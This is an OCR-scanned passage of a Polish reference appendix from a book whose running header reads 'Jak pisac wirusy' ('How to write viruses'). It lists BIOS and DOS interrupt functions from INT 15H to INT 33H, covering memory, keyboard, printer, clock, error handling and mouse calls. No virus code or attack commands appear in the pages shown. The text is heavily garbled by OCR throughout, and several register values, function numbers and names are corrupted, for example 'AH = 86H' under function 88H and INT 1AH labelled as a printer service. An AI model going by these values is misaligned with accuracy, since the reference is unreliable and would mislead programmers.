Opis: Funkcia przesyta biok do 32KB z i do gémej {powyzej 1 MB) pamigci komputera. Praktycz-
nie jest to jedyny sposéh dostgpu do tej pamieci z punktu widzenia przeciglnego programi-
sty. W ES:Di przekazywany jest adres 32-bajtowego deskryptora GOT (Global Descriplor
Table). Z Twojeqo punktu widzenia w deskryptarze tym wazne s pola 12H - 24-bajtowy
adres bloku do przeriesienia (w kolegjnosci 3-2-1 bait adresu), 155 — wartosc 93H (prawo
odczyty i zapisu), 1AH — adres docelowy, |DH - warlosé 93H, W pozostale pola powinna
by€ wpisana wartosc 0.

Uwagk: Podczas przesytania danych wylaczone sa przerwania. Unikaj wige przesylania, przy dzia-
tajacych réwnolegle asynchronicznych procesach komunikacyjnych.

Przerwanie:  15H

Funkecja 88H

Nazwa: Pytanie o rozmiar gorme} pamigci

Wywotanie: AH = 86H

Powrot: AX — wielkost gomej pamieci w KB

Opis: Funkgja zwraca rozmiar géme] (powyzej 1MB) pamieci.

Przerwanie: 154

Funkcja 89H

Nazwa: Przejscie do trybu wirtualnego procesora 80286

Wywolanie: AH = 89H
BH - ofset w tablicy przerwart adreséw obslugi przerwart IRQ 0 - IRQ 7
BL - ofset w tablicy przerwan adreséw obstug! przerwan IRQ 8 - IRQOF
ES:S1 - adres tablicy deskryptorow

Powrdt: AH = 0~ procesor przeszedt de trybu wiruainego

Jak pisac wirusy
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Opis: Funkeja inicjalizuje pracg procesora 80286 {j wyzszych) w trybie z ochrona danych. Fun-
keja zmienia wszystkie rejestry segmentéw: W tablicy deskryptoréw wskazywanej przez
E3:BX w polach TAH, 22H, 2AH, 32H przekazywane s nowe wartodci dia rejesiréw
DS,E5,85,C8.

Uwagi: Nie ma bezpoéredniego sposebu na wyjécie 2 lrybu wirtualnego.

Przerwanie:  15H

Funkcja S0H

Nazwa: Petla oczekiwania na urzgdzenia

Wywolanie: AH = 90H
AL = identyfikator urzadzenia
GOH - dysk twardy
01H - stacja dyskdw
02H - Kawiatura
80H - sieé

ES:BX — blok kontrolny w sieci

OFDH - start silnika napedu dyskaw
OFEH - drukarka

Powrot: Brak

Opie: Ta przenwanic powinno byé wywolywane, prey oczekiwaniu na pracujace urzadzenie.
W praktyce nie robl ono nic, ale teoretycznie moze byé wykorzystane.

Przerwanie; 154

Funkcja 91H

Nazwa; Zakoriczenie obstugi przerwania przez program obslugi urzadzenia

Wywotanie: AH=91H
AL - identyfikator urzgdzenia

Powrat: Brak

Opis: Funkeja wraca bez zadnej akeii. Chodzi o to, aby reszia systemu dowiedziata sig, 7e urza-
dzenie jest juz wolne,

Przerwanie:  16H

Nazwa: Obstuga klawiatury

Opis: Przenwanie siada sig z kilkunastu funkcji. Przekazanie w rejestrze AH odpowiedniego nu-
meru powoduje wywotanie funkgii.

Uwagi: Kaody zwracane przez ponizsze funkcje sg opisane w osobnych rozdziatach. Natomiast
opis stanu klawiatury ma format taki sam jak zmienne systemowe 0:0417 i 0:0418.

Przerwanie:  16H

Funkcje 00H,10H

Nazwa: Odezyt znaku

Wywolanie: AH = 00H iub 10H

Powrét: AL —kod ASCH

Jak pisac wirusy

AH - rozszerzony kod ASCII (jesli AL=0)
— kod klawiatury (w przeciwnym wypadku)
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Opis: Funkcja 00H ¢zeka na nacidnigcie klawisza i zwraca jego wartosé. Funkeja 10H robi to sa-
ma dia Klawiatury 101-klawiszowe;.

Przerwanie:  16H

Funkcje ¢1H,11H

Nazwa: Odezyt bulora

Wywotanie: AH=01HIub11H

Powrot: Ustawiony znacznik Z:
- W huforze nie ma znakow
Wyzerowany znacznik Z:
AX - znak {p.funkcja 00H)

Opis: Funkcia 01H odezytuje znak znajdujacy sie na poczatku bufora klawiatury, nie usuwajac
go z tego bufora. Funkeja 11H robi to same dla klawiatury 101-klawiszowe].

Przerwanie:  16H

Funkcje 02H,12H

Nazwa. Pytanie o stan klawiatury

Wywotanie: AH =02H Iub 12H

Powrst: Al — stan klawiatury {p. zmienna systemowa 0:417)

Opis: Funkcja 02H zwraca opis stanu klawiatury {Stan przelacznikéw Caps Lock, Num Lock,
Scroll Lock, weisnigty Shift itd.). Funkeja 12H robi to same dla klawiatury 101-klawiszowe;.

Przerwanie:  16H

Funkeja 03H

Nazwa; Ustawienie czasu miedzy powtdrzeniami i opdZnienia

Wywolanie: AH=03H
BL - czas miedzy powldrzeniemi
BH = opoinienie

Powrdt: Brak

Opis: Funkcja ustawia czas miedzy powtdrzeniami klawiszy | opd2nienie {Czas przed rozpocze-
ciem powtarzania}. Warlodci przekazywane w rejestrze BL oznaczajg odpowiednio: 0=30
powtdrzen/sekunde, 1=26,...,1FH=2. Wartosci w BH oznaczajg C=1/4s, 1=1/2s, 2=3/4s,
J=1s.

Przerwanie:  16H

Funkcja 05H

Nazwa: Umieszczenie znaku w buforze klawiatury

Wywotanie: AH = 05H
CL - kod ASCII
{CH - kod klawiatury

Powrét: Al. = powodzenie operacji
0 — sukces
1 - bufor przepemicny

Opis: Funkcja umieszcza w buforze klawiatury wartosci odpowiadajgee naci$nigeiu klawisza o ko-

Jak pisac wirusy

dzie ASCIl podanym w CL i kodzie klawiatury podanym w CH. Jesli kod klawialury nie zga-
dza sie z kedem ASCI|, funkeja umieszeza wartoscl w buforze na podstawie tego drugiego.
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Przerwanie:  17H
Nazwa: Obstuga drukarki
Opis: Przerwanie realizuje kilkunascie funkeji. Przekazanie w rejestrze AH odpowiedniego nume-
ru powoduje wywelania funkeji.
Przerwanie:  17H
Funkgja 00H
Nazwa: Wydruk znaku
Wywelanie: AH=00H
AL — znak do wydrukowania
DX —numer drukarki {0,1,2}
Powrdt; AL - kod stanu drukarki (p. funkcia 2)
Opis: Funkeja powoduje wydrukowanie znaku o kedzie ASCII przekazanym w rejesirze AL.
Przerwanie:  17H
Funkcja 01H
Nazwa: Inicjalizacja drukarki
Wywolanie: AH=01H
DX = numer drukarki {0,1,2)
Powrat: AL - kod stanu drukarki (p. funkcia 2}
Opis: Funkgja inicjalizuje part drukarki.
Przerwanie:  17H
Funkcja 02H
Mazwa: Pytanie o kod stanu drukarki
Wywolanie: AH=02H
DX — numer drukarki (0.1,2)
Powrot: AL ~ kod stanu drukarki
Opis: Funkeja zwraca kod stanu drukarki. Poszezegdine bity maja nastepujace znaczenie:
7 6 5 4 3 2 1 0
L. przekroczenie czasu - niemoznosé wydrukowania
nie LZywang
btad wejsciawyjscia
wijczona
brak papieru
potwiardzenia
nie zajeta
Przerwanie:  18H
Nazwa: Uruchomienie BASICa z ROM
Wywotanie: Brak
Powrét: Brak
Jak pisac wirusy Strona:171
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Opis: W oryginainych komputerach IBM PC w pamigci ROM byt umieszczany interpreter BASI-
Ca, kidry byt wezytywany, gdy system nie mogt byd zaladowany z dyskietki. W klonach
przerwanie to wykorzystywane jest do przekazania sterowania modutorn ROM - BIOS (naj-
czascie] jest to komunikat o braku dyski).

Przerwanie:  19H

Nazwa: Goracy restart systemu

Wywotanie: Brak

Powrat: Brak

Cpis: Przerwanie jest wykonywane podczas startu systemu po POST. Laduje ono system opera-
cyjny z dysku lub dyskietki, a jest nastapi blgd dyskietki, to oddaje sterowanie do przerwa-
nia 18H.

Uwagi: Jedli cheesz to przenwanie wykorzystywad w programie do restartu systemu, 1o musisz
przed jego wywoltaniem umiescic w zmiennej 0:0472 wartos¢ 1234H.

Przerwanie:  1AH

Nazwa: Obsluga drukarki

Opis: Przerwanie skiada sig z kilku funkeji. Przekazanie w rejestrze AH odpowiedniego numeru
powoduje wywotanie junkgi.

Uwagi: Zegar systemowy jest modyfikowany co 55ms przez przerwanie zegarowe 8H. Ponadio
w komputerach Klasy AT zainstalowany jest zegar czasu rzeczywisiego {RTC). Dane do te-
qo zegara sg podawane w kodzie BCD {patrz opis CMOS},

Przerwanie:  1AH

Funkcja 00H

Nazwa: QOdczyt zegara systemowego

Wywotanie: AH =0CH

Powrét: AL = 0 —nie bylo przepeinienia w ciagu ostatniej doby
CX:.DX - licznik

Opis: Funkcja podaje aktualng zawartosé 2egara systemowego.

Uwagi: Poniewaz zegar jest modyfikowany co okelo 55ms, jedna jednostka licznika odpowiada
66535/1193180 5. Po przeliczeniu daje to w przyblizeniu:
sekunda — 18 jadnostek
minuta ~ 1092 jednostki
godzina - 65543 jednostki
tloba — 1573040 jednostek

Przerwanie:  1AH

Funkcja 01H

Narwa: Ustawlenie zegara systemowego

Wywolanie: AH=01H
CX:DX — nowa wartos¢ licznika zegara systemowego (p. funkcja 00)

Powrdt: Brak

Cpis: Funkcja ustala nowg wartosé zegara systemowego.
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Przerwanie:  1AH
Funkcja 02H
Nazwa: Pytanie o czas RTC AT
Wywotanie: AH=02H
Powrét: Ustawiony znacznik C: - zegar nie pracuje
Wyzerowany znacznik C.
CH — godziny w kodzia RGD
CL — minuty w kodzie BCD
DH - sekundy w kodzie BCD
Opis: Funkeja podaje aklualny czas zegara czasu rzeczywistego RTC (patrz opis CMOS).
Przerwanie:  1AH
Funkcja 03H
Nazwa: Ustawienie czasu RTC AT
Wywotanie: AM=03H
CH - godziny w kodzle BCD
CL - minuty w kodzie BCD
DH - sekundy w kodzie BCD
DL=
1 -czas letnf
Pawrdt: Brak
Opis: Funkejg ustala czas RTC.
Przerwanie:  1AH
Funkcja 04H
Nazwa: Odezyt daty RTC AT
Wywotanie: AH = 04H
Powrdt: Ustawiony znacznik C: — zegar nig pracuje
Wyzerowany znacznik C:
CH - wiek w kodzie BCD
CL - rok w kodzia BCD
DH - miesiac w kodzie BCD
DL — dzieri w kodzie BCD
Opis: Funkeja odczytuje date RTC
Przerwanie:  1AH
Funkcja 0sH
Nazwa: Ustawienie daty RTC AT
Wywolanie; AH =05H
CH - wiek w kodzie BCD
CL - rok w kodzie BCD
DH - migsige w kodzie BCD
DL - dzieri w kodzie BCD
Powrdt: Brak
Opis: Furkgja ustawia date RTC

Jak pisac wirusy
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Przerwanie:  1AH

Funkeja 06H

Nazwa: Ustawienie budzika RTC AT

Wywolanie: AH=086H
CH - godziny w kodzie BCD
CL — minuty w kodzie BCD
DH ~ sekundy w kodzie BCD

Powrdt: Ustawiony znacznik C:
— zegar nie pracuje lub budzik juz nastawiony
Wyzerowany znacznik C: QK.

Opis: Funkcja ustawia budzik RTC

Uwagf: Zegar RTC ma mozliwos¢ ustawiania budzika. W wybranym czasie zostanie uruchomione
przerwanie 4AH. Najczadcle] jest to sygnal diwiekowy. Budzik moze byé jednorazowo nas-
tawiony tylko na jeden alasmt.

Przerwanie:  1AH

Funkcja 07H

Nazwa: Wytgezenie budzika RTC AT

Wywolanie: AH = 07H

Powrdt; Brak

Opis: Funkcja wytacza budzik RTC.

Przerwanie:  1BH

Nazwa: CTRL-BREAK

Wywetanie. Brak

Powird!: Brak

Opis: Przerwanie jest wywotywane przez BIOS w przypadku nacisniecia klawiszy CTRL-BREAK.
Przerwanis to obsiuguje DOS, ktéry umieszcza informacie ¢ nacisnieciu w swoim wewng-
trznym znaczniku znajdujacym sig pod adresem (:0471.Ze znacznika tego korzysta potem
DOS-owskie przerwanie 23H

Przerwanie:  1CH

Nazwa: Przerwanie zegarowe uzytkownika

Wywotanie: Brak

Powrdl: Brak

Opis: Przerwanie to jest wywotywane przy kazdej modyfikacji zegara systemowego (co 55ms)
przez przerwanie zegarowe 0BH, Poczatkowo procedura obstugi zawiera tylko instrukcig
IRET. Co bgdzie robic, zalezy tylko cd inwencii programisty.

Uwagi: Przechwytujac to przerwanie musisz pamietaé o tym, ze jest ono wywolywane z wnetrza

Jak pisac wirusy

przerwanie sprzgtowego o poziomie O{IRQ 0), diatego inne przerwania sprzgtowe nie bgda
orzyjmowane, dopoki nie zostanie przekazany do kontrolera 8259A sygnat o jego zakori-
czeniu. Wiaze sig to miedzy innymi z niemoznadcis czytania Z klawiatury w trakcie jego
trwania. Wigkszo$¢ profesjonalnych programéw jako przerwanie zegarowe wykorzystuje

_bezposrednio przerwanie sprzgtowe 08H.
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Przerwanie: 1DH

Nazwa: Tabela inicjalizacjt trybdw wy$wiellania

Wywotanie: Brak

Powrdt; Brak

Opis: Przerwanie nie ma zadnego programu obstugi. Wskazuje ono adres w pamieci tabeli inigja-

lizacji trybéw wyswietiania, Tabela jest wykorzystywana przez przerwanie 10H przy zmia-
nie zmianie trybSw wyswietlania, w celu cdpowiedniego ustawienia ekranu. Jej format jest
nastgpujacy ( Patrz réwniez porty EGA/CGA - znaczenie rejestrow):

B L LT

Olfs Rozmiar Zawartosé

+0 10H WE0SCi rejestrow 6845 w trybie 40°25
i +10H 10H wartasel rejestrow 8845 w trybie 80*25
}L +20H 10H wartosci rejestrow 6845 w trybach graficznych
W | +30H 10H wartosci rejestrow 6845 w trybie 80°25 monechromatycznym
; +40H 2 rozmiar strony (iryb 40x25)
> +42H 2 rozmiar strony (iryb 80x25 )
+44H 2 rozmiar strony (tryb graficzny - niska rozdzielezosé) |
; +46H 2 rozmiar strony {try graficzny - wysoka rozdzielczosc) |
lﬁ +48H 8 liczba kolumn w kazdym z B tybow
4y +50H g wartosei rejestru wyboru trybu (port 3D8H} dla kazde; strony wartosé dia biezacego
irybu znajduie sig w zmiennej 0:0465
i Przerwanie:  1EH
J Nazwa: Tablica paramelréw starownika dyskdw
i Wywolanie: . Brak
: Powrot: Brak

Opis: Przerwanie nie ma zadnego programu obstugi. Wskazuje ono adres tablicy parametréw

sterownika dyskéw. Strukiura ta jest wykorzystywana przez BIOS przy wykonywaniu opera-
cji dyskowych przerwania 13H. Poczatkowo znajduje sig ona w pamiec! ROM, jednak moz-
liwe jest utworzenie nowe; tablicy w RAM w celu zmiany niektérych parametréw obstugi
dyskietki. Poszczegdine bajty majg nastepujace znaczenie:

Qffs Zawartesd
+0 bity 0-3: SRT (Step Rate Time-czas migdzy operacjami); bity 4-7: ¢7as roziadowania glowicy
1 bit 0: 1= DMA w uiyciy: bity 2-7: czas tadowania glowicy
+2 czas do wylgezenia moloru {w jednostkach zegara systemowego— 55 ms)
+3 rozmiar sektora (0=128, 1=256, 2=512, 3=1024} _
+4 EOT (Enc Of Track — Ostatni sektor na Sciezce}
+5 odstep przy operacjach zapisufodezytu 3
+B DTL {Dala Transfer Length — maksymainy rozmiar transmitowanych danych)
+7 odsten przy formatowaniu
+8 znak wypelniajgcy podezas formatowania (standardowo znak o kodzieQF8H )

Jak pisac wirusy Strona:175
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+3 czas umieszczania glowicy (w mifisekundach) _

+0AH | czas startu sinika (liczony w 1/88)

Przetwanie:  1FH

Nazwa: Tablica wzorow znakéw

Wywolanie: Brak

Powrdl: Brak

Opis: To przerwanie nie ma zadnej procedury obstugi. Wskazuje tylke, na tablicg wzorow {(matry-
og) znakdw o kodach 80H — FFH. Mozesz dzigki tej tablicy zainstalowac w pamieci RAM
wzory tych znakow dia dowolne] karty graficznej. Sposéb definiowania znakow jest przed-
stawiony przy opisie Zmiennych karty EGA.

Uwagi: Tylko gérna potowa znakéw moze by¢ definiowana przy pomacy tego weklora. Definiowa-
nie calego zestawu znakow jest moztiwe tylko dla karty EGA i kompatybilnych w gore.

Przerwanie:  20H

Nazwa: Zakoriczenie programu

Wywolanle: CS - segment zawizrajacy PSP

Powrdt: Brak

Opis: Przerwanie jest uzywane do zakonczenia pracy programu, zwalniania pamidi, zamykania
otwartych plikéw | oddawania kontroli procesowi macierzystemu, Nie sg zwalniane obszary
pamigci przydzielone dodatkowo w trakcie pracy programu. Przed wywoltaniem przerwania
CS:0 musi zawiera adres przedrostka procesu (PSP}

Odpowiednik; Funkcja DOS-owska 4CH wykonuje samg czynnos$é, ale bez koniecznodci umieszczania
w CS segmentu PSP, diatego jest wygodniejsza w uzyciu.

Przerwanie:  21H

Nazwa: Wywolanie funkciji MS-DOS

Wywotanie: AH - numer {unkgji
?

Powrot: ?

Opis: Przerwanie to stuzy do wywolywania funkcii systemowych. Dokfadny opis tego przerwania
znajduje sig w nastepnym rozdziale.

Przerwanie:  22H

Nazwa; Zakonczenie programu

Wywotanie: Brak

Powrdt: Brak

Opis: DOS wyweluje to przenwanie jesli aktualnie wykonywany proces jest koriczony funkcjami
systemowymi 00H, 31H, 4CH lub przerwaniami 20H i 27H. Mozesz je przechwytywadé, aby
podezas koriczenia pracy procesu byta zwalniana dodatkowa pamigc przydzielona proceso-
wi, odblokowywane pliki, zapisywane informacje specialne itd.

Uwagi: Tego przerwania nie nalezy wywotywad bezposrednio z pragramu.

Przerwanie:  23H

Nazwa: Naciéniecie znaku Control-C (CTRL-BREAK)

Jak pisac wirusy
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Wywolanie: Brak

Powrct. Brak

Opis: Przerwanie to jest wywofywane w przypadku naciénigcia klawiszy Control-C. W zaleznosci
od wraZliwosci systemu na te klawisze (Patrz funkcja sytemowa 33H). Normainie proce-
dura obstugi tego przerwania kofezy pracg procesu., Przechwytuiac przerwarie mozesz za-
biokowad dziatanie tych kiawisz {procedura obstugi skiada sig tylko z z IRET), albo na przy-
Kad zapytaC ¢ potwisrdzenie checi zakoriczenia procesu.

Przerwanie:  24H

Nazwa: Btad krytyczny urzadzenia

Wywelanie: Fatrz opis

Powrdt: Patrz opis

Opis: Przerwanie to jest wywolywane przez DOS jesli nastapi krytyczny biad dostepu do urzadze-
nia. Normalnie zadaje ono znane pytanie Abort Retry Ighore ? niszezac przy okazii staran-
nie budowany wyglad ekranu {na éwiecie) i wymuszajac od uzytkownika chwycenie za
stownik (w Polsce). Mozesz temu zapobiec piszac wiasng procedurg obstugi przerwania.
Procedura ta musi jednak spemniaé kitka warunkdw:
- Nie moze korzystac z funkcji systemowych poza 01H-0CH i 5SH (iesli uzyje innych zosta-
nie zniszezony stos MS-DOSa i nastapi 2alamanie systemu}.
~ Nie moze zmieniac zawartoéel metryczki urzadzenia
— Must zachowad {lub odtworzyc) zawartosé refestréw BX,CX,DX,SP i rejestry segmentow
— Na koricu procedura powinna umieszezad w rejestrze At kod reakci:
0 - IGNCRE {zignorowanie bigdu)
1-RETRY (penowienie)
2 - ABORT {przerwanie programu)
3 - FAIL {poinformowanie o blgdzie)
Przy wywolywaniu przerwania DOS przekazuje informacie o stanie przerwania i o bladzie
W nastepujgey sposob:
ES:BP — Metryczka urzadzenia przy probie dostgpu do kiérege wystapit bad.
DI - bity 0-7 zawierajg kod bledu (liczac od 20H - patrz kody bledéw)
AL — numer dysku, jesli 7 bit AH = 0. (0=A, 1=B, ..)
AH - informacje o bledzie
Znaczenie bitdw jest nastepujace:

7 B 5 4 3 2 1 0
L 1o L 1]

L 0: typ opsracji: 0=odczyt 1=zapis '

1-2: miegjsce bledu na dysku. 80=pliki systemowe, 01=FAT,
10=katalog, 11=obszar danych

3: 1=dozwolene zakoriczenie przez FAIL

4: 1=dozwolone zakoriczenie przez RETRY

5. 1=dozwolone zakoriczenie przez IGNORE

7 typ urzgdzenia: O=dysk, 1=inne

Jesi bit 7=1, bity 0-6 nie sq okredlone

Ponadto na stosie przekazywana jest zawartosé rejestréw w chwili wystapienia bledu w nastepujacy sposob:
IP, C8, Znagczniki - powrdt do DOSa, kidry dale] podejmie odpowlednie akce

AX, BX, CX, DX, SI, DI, BP, DS, ES - stan rejestréw w programie

IP, CS, Znaczniki - powrdt bezposrednio do programu

Uiwagi:

Jak pisac wirusy

Przerwanie 24H nie jest wywolywane, jesfi btad nastapi podezas przerwart 25H/26H. Nowo-
czesne syslemy programowania takie jak Turbo Pascal+ Turbo Vision umozliwiajg progra-
mowq obstuge sytuacii krytycznych.
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Przerwania  25H/26H

Nazwa: Czytanie/Pisanie sektora dyskowego

Wywolanie; AL - numer dysku (0=A, 1=B, ...)

DS:BX - adres bufora operacji dyskowych (DTA)
CX - liczba seldordw
DX — numer logiczny pierwszege sektora

Powrét: Ustawiony znacznik C:

AL — kod Hedu (liczac od 20H, p. kody tleddw)
Wyzerowany znacznik C: O.K.

Opis: Przerwania umoZliwiajg zapisanie lub odezytanie sekiorow z dysku o numerze podanym
w AL. Przerwania niszczg zawartos¢ wszystkich rejestréw oprocz rejestrow segmentdw,

Uwagi: Lzywaj tych przerwar w ostalecznosai, firma Microsoft nie gwarantuje, Ze ich postaé
w przysziych wersjach systemu bedzie laka sama. Podczas przerwania na stos kladziony
jost rejastr znacznikow. Aby zapobisc nickontrolowanemy wrostow st0su musisz po za-
kericzeniu przemwania samemu go zdjaé.

Przerwanie:  27H

Nazwa: Koriczenie programu i pozostawanie w pamied

Wiywolanie: CS - adres segmentu PSP
DX - adres pierwszego bajtu powyzZej programu liczony wobec CS

Powrdt: Brak

Opis: Przerwanie powoduje zakoniczenie programu i pozostawienie go w pamieci. Maksymalny
rozmiar programu pozostawianego w pamieci moze wynosic 64 KB.

Uwagi: Nie nalezy stosowa tej funkeji do instalowania procedur cbstugi przerwari 22H, 23H, 24H

QOdpowiednik: To przerwanie zostals zachowane tylko dla kompatybilnosci z wersjami systemu ponizej
2.0, Funkgja systemowa 31H wykonuje te same czynnascl, nie nakladajac na program
ograniczen co do rozmiarw.

Przarwanis:  28H

Nazwa: Przerwa DOSa

Wywatanie: Brak

Powrdt: Brak

Opis: Przerwanie to jest wywolywane przez DOS, jesli czeka na nacisnigeie klawisza i nie wyko-
nuje zadnych innych operacii. Moze by¢ wykorzystane jake jedno z miejsc uaktywniania
programow rezydentnych.

Uwagi: Przerwanle nie jest udokumentowane, ale kerzysta z nieqgo instrukcja PRINT i wigkszo$é
profesjonalnych programéw typu TSR. Podczas przerwanie nie mozna wykorzystywaé fun-
keji systemowych 00H-00C,

Przerwanie:  29H

Nazwa: Bezposrednie wyswistlenie znaku

Wywolanie: AL —kod znaku

Powrot: Brak

Opie: Frzenwanio powoduje przestanic znaku, © kodzic podanym w AL, na gkran (nie do strumis-
nia wyjsciowege). Jesli nie masz zamian kierowania wyniku dziatania programu do zbioru,
to mozesz je wykorzystywad jako szybszg wersjg funkcji systemowej 02H.

Uwagi: Przerwanie nie udokumentowane.

Jak pisac wirusy
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[Przerwanie:  2EH
Nazwa: Wykonanie poiscenia systemowego
Wywolanie: DS:Si - adres faricucha zawierajgcege polecenie systemowe w postaci: dlugosé polece-
nia+1, polecenie, 0DH
Powrat: Brak
Opis: Przerwanie wykonuje {powinng} polecenie systemowe przekazane pod adresem wskazy-
wanym przez DS:Sl. Przed jego wywotaniem nalezy obnizyé pamigé przydzielona proceso-
wi 0 kilka kilobajtdw. Jest ono jedyna znang metoda zmienienia z wnetrza procesu global-
nego srodowiska systemu operacyjnego {nie jego statycznej kopil przekazywane] przy uru-
chamianiu procesu) i prakiycznie tylko w takim celu jest wywotywane. Wszystkie inne fun-
Keje spefniane przez nie mogg by 7 powodzeniem uzyskane przy pomocy funkji systemo-
wej 4BH.
Uwagi: Przerwanie nie jest udokumentowane i zachowuije sig naprawde bardzo dziwnie; niszezy
rejestry SS i SP, wymaga bardzo duzeqo stosu i robi rézne niespodzianki koriczace sie naj-
czesciej zawieszeniem systemu. Jesli koniecznie bedziesz cheiat z niego skorzystad, to uz-
bradj sie w duzo cierpliwosel, bo moze zawodzic z zupetnie nieznanych powodow.
Przerwanie:  2FH
Nazwa: Obstuga réwnoczesnych procesdw
Wywolanie: AH = numer procesu
(1K - rezydenina czesc polecenia PRINT”
02H - rezydentna czg$é polecenia ,ASSIGN"
03H - rezydentna czesé polecenia ,SHARE”
80H - OFFH - dostgpne dla innych proceséw
_ AL=0

Powrot; AL - stan zainstalowania
00H - nigzainstalowany, mozna zainstalowad
01H — niezainstalowany, nie mozna zainstalowad
OFFH - zainstalowany

Opis: Przerwanie organizuje rownoczesng prace programéw rezydeninych dostepnych z dowol-

. Wywotanie:

nego procesy. Pienvotnie datyczyto tylko potecenia systemowego PRINT Kazdy proces in-
staluje sig w kolejce {poprzez kolejne przechwytywanie tego przerwania). W przypadku wy-
wofania zfecenia proces sprawdza, czy zlecenie go dotyczy, jesh nie to oddaje sterawanie
poprzedniemu w kolejce. W rejestrze AL przekazywany jest kod zlecenia. Standardowo zle-
£enie numer § oznacza pytanis o to, czy program jest zainstalowany. Ponadto dia ¢zesel
rezydentnej polcoenia PRINT zdefiniowane sa nastepujgce operacje (wszystkie ziecenia
moga 2wracac kody bledow w rejestrze AX przy ustawionym znaczniku C):

AL =1 Dolgczeniz pliku do kolejki

DS:DX —adres pod kidrym znajdujq sie
0
adres faricucha w kodzie ASCIZ zawierajacego nazwe pliku

AL = 2 - Usunigcie pliku z kolejki
Wywotanie: 0S&:DX — adres pod ktérym znajduie sig adres iaricucha w kodzie ASCIZ zawierajgcego na-
zwe pliku
AL = 3 - Usunigcie wszystkich plikdw z kolejki i zakoriczenie drukowania
Al = 4 - Sprawdzanie stanu. Zwraca kod blgdu i zawiesza wszelkie drukewanie
Powrdt: D551 - Adres bloku zawierajgeego 64-bajlowe pefne nazwy (w kodzie ASCIZ} plikdw w ko-
lejee. Koniec bioku jest zazanaczony faricuchem pustym
DX - ficzba préb wydrukowania znaku

AL =5 - Koniec sprawdzania stanu, Powrot do drukowania

Jak pisac wirusy Strona:179
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W refestrze AX maga by zwracane nastgpujace kody bigddw.

X
P

Opis__lErIQd“u

Bledny numer zlecenia

Plik nie znaleziony

Katafog nie znaleziony

Zbyt wiele otwartych plikow

_ Brak dostgpu do pliku

Bledna dojécta

Kolgjka jest peina

L= = - B R I - S (P O R L

Urzadzenie zajgte

OCH Nazwa pliku przekracza 64 bajty

OFH Bledna nazwa dysku

Przerwanie:  33H
Nazwa: Zarezerwowane do obstugi myszy w standardzie Microsoft
Wirwolanie: AL = numer funkgji
parametry funkcji
Powrét: W zaleznosal od funkci
Opis: Przerwanie to jest zarezerwowane przez firmg Microsoft do obsiugl myszy, Przerwania jest
podzielone na nastepujgce funkcje. Przed wywotaniem przerwania nalezy w rejestrze AX
umigscic¢ numer odpowiedniej funkeii.
3 AX Czynnosé
X 00H Inicjalizacja myszy
¥ § Powrét:
0 - mysz zainstalowana
¥ OFFFFH (-1} — mysz nie zainstalowana
BX - liczba przyciskow
4 O4H Wyswietlanle kursora myszy
' 02H Schowanie kursora myszy
03H Pytanie o polozenie i status myszy
) Powrdt
BX - Stan przyciskow {tit 0 - lewy, bit 1— prawy, bit 2 — centralny przycisk wcignigty)
CX - polozenie poziome
DX - petozenie pionowe
04H Ustawienie poczatkowego poto2enta kKursora myszy
CX - petozenie poziome
DX — potozenie pionowe
OsH Pytanio o wclsnigte przyciskl

Jak pisac wirusy

BX — przycisk (0 - lewy, 1- prawy, 2 centralny)

Powrét:

AX — Stan przycisku (bit 0 ~ lewy, bit 1 prawg bit 2 centralny)

BX - Licznik, ile razy przycisk byt weisnigty od czasu ostatniego wywolania
CX - pofozenie poziome przy ostalnim weisnigciu

DX - potozenie pionowe przy ostainim weisnigeiu

Strona:180
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06H

O7H

{8+

08H

DAH

08H

OCH

0DH
CEH
OFH

10H

13H

14H

15H

16H

17H

Jak pisac wirusy

P;z(tanie 0 Zwalniane przyciski

BX - przycisk (0~ lewy, 1- prawy, 2 centrainy)

Powrot:

AX - Stan przrcrsku (bit O — fewy, bit 1- prawy, bit 2 centrainy)

BX - Licznik, ile razy przycisk byt zwolniony od czasu ostatniego wywotania
CX - polozenie paziome przy ostatnim zwoinieniu

DX - poioZenie pionowe przy ostatnim zwolnieniu

Ustaianie graficznych wspdtrzgdnych osi X
CX - minimalne potozenic poziome
DX = maksymalne poloZenie pozioma

Ustaianie graficznych wspdlrzednych Osi Y
GX - minimaine polozenie picnowe
DX - maksymalne potozenie pionowe

Definiowanie ksztaftu kursora myszy w trybie graficznym

BX — selektor poziomy

CX - selektor pionowy

ES:DX - adres 64-baftowego obszaru definivjacego ksztatt kursora

E;ﬁniowinie ksztatiu kursora myszy w trybie tekstowym
~ typ kurscra O=programowy, 1=sprzeto

CX -%aska AND A

DX - maska XOR

Qdczyt licznikéw przemieszczenia myszy

Powrot;

CX - przemieszczenie poziome od ostatniego wywolania
DX - przemieszczenie pionowe od ostatniego wywolania

Procedura asynchroniczne] obstugi zdarzen
CX- )l?rp zdarzeri, ktdre maja by¢ przasytane procedurze {umieéé 7FH)
ES:DX - adres Twoje] pracediry obshugujacej mysz

Wiaczenie emulagii pidra swielinego
Wytgczenie emulacji pidra éwietinego

Czutodé myszy
CX - szybkes¢ pozioma
DX ~ szybkosé pionowa

Definiowanie okien ekranu

CX — wspdhrzedna pozioma lewego gérnego punktu
DX - wspétrzgdna pionowa lewego gomego punkiu
Sl ~ wspdirzedna pozioma prawego dolnego punkiu
DI - wspdtrzedna pionowa prawego dolnego punkiu

Ustalanie maksymainego poziomu akceleracji
DX - maksymalna szybkosé

Zmiana procedury asynchroniczne] obstugi zdarzeri

CX - typ zdarzert, kidre maja by¢ przesytane procedurze (umies¢ 7FH)
ES:DX - adres Twoje] procedury obstugujace mysz

Powrdél:

CX - va zdarzen, ktére byly przesylane poprzednie] procedurze

ES:DX - adres poprzednie] procedury obstuguiges] mysz

Pytanie o rozmiar bufora stanu myszy
Powrot:
BX — rozmiar bufora dla funkcji 16H i 17H

Zapamigtanie stanu myszy
E5:DX - adres bufora stanu myszy do wypetnienia

Przywrdcenie poprzedniego stanu myszy

ES:DX - adres bufora stanu myszy zawierajacego poprzednio zachowane dana

Strona:181




18H

19H

TAH

1BH

1CH

1DH

1EH

1FH

20H
21H

24H

Uwagi:

Aiternatywna procedura asynchranicznej chstugi zdarzen
CX - Qap zdarzen, kiore maja byc przesytane procedurze {umiasé 7FH)
ES:DX — adres Twojej procedury obstuguigce| mysz
Powrdt:
AX = 18H - procedura zainstalowana
OFFFFH (-1) - bad instalacii

F'\{(lanie o procedurg asynchroniczne] obstugi zdarzed
CX - typ zdarzer .

Powrdt:

CX —pasujacy typ zdarzen(0 jesii nie znalezions Zadne] procedury)
ES:DX - adres odpowiadajacej procedury obstugi myszy

Ustalanie czutodci myszy

BX - pradkosé pozioma

CX - predko$é pozioma

DX - prog podwajnej predkosci

